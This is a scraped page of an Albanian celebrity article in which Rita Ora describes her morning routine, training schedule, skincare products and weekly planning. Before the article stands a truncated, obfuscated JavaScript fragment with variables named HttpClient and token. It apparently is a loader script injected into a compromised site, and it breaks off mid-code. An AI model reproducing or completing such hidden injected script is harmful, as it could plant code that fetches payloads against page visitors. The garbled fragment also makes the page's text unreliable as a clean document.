;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x

Rita Ora na zbulon ‘rutinën e saj të bukurisë’ dhe është shumë e thjeshtë

By

Rita Ora foli për jetën e saj në shtëpi.

Superylli 32-vjeçar i “Praising You” u shpreh e sinqertë në edicionin e fundit të WSJ.

Gjatë bisedës, Rita diskutoi rutinën e saj të mëngjesit, duke përfshirë këshillat e saj të bukurisë, si dhe se si ishte përvoja e saj në Love Island, çfarë e ka tërhequr zvarrë bashkëshortin Taika Waititi për të bërë dhe shumë më tepër.

Zbuloni çfarë ka thënë Rita Ora:

Në cilën orë zgjohet të hënën dhe gjëja e parë që bën pasi zgjohet:

“Afërsisht ora 9. Ngrihem, laj dhëmbët dhe shkoj direkt në palestër. Zakonisht ushtrohem pesë deri në gjashtë herë në javë.”

Në stërvitje:

“Unë bëj rreth tre ditë pesha dhe kardio, dhe më pas bëj dy ditë Pilates, që është më shumë si versioni im i një dite pushimi, por është ende intensive.”

Për rutinën e saj të bukurisë:

“Unë nuk përdor asnjë pastrues fytyre në mëngjes, vetëm ujë. Pastaj vendosa të gjitha produktet e mia: serumin tim të ditës, ngjyrën time me SPF dhe një hidratues vërtet të lehtë. Gjithçka ka të bëjë me hidratimin dhe pamjen me shkëlqim dhe të shëndetshëm.”

Për atë që ajo bën të hënën për ta përgatitur atë për javën në vijim:

“Unë e shkruaj javën time jashtë në një dërrasë të bardhë që të mund të shoh vërtet se çfarë duhet të arrij. Është vërtet e madhe për mua të përfytyroj atë që jam duke bërë.” /Prive.al

Artikuj të ngjashëm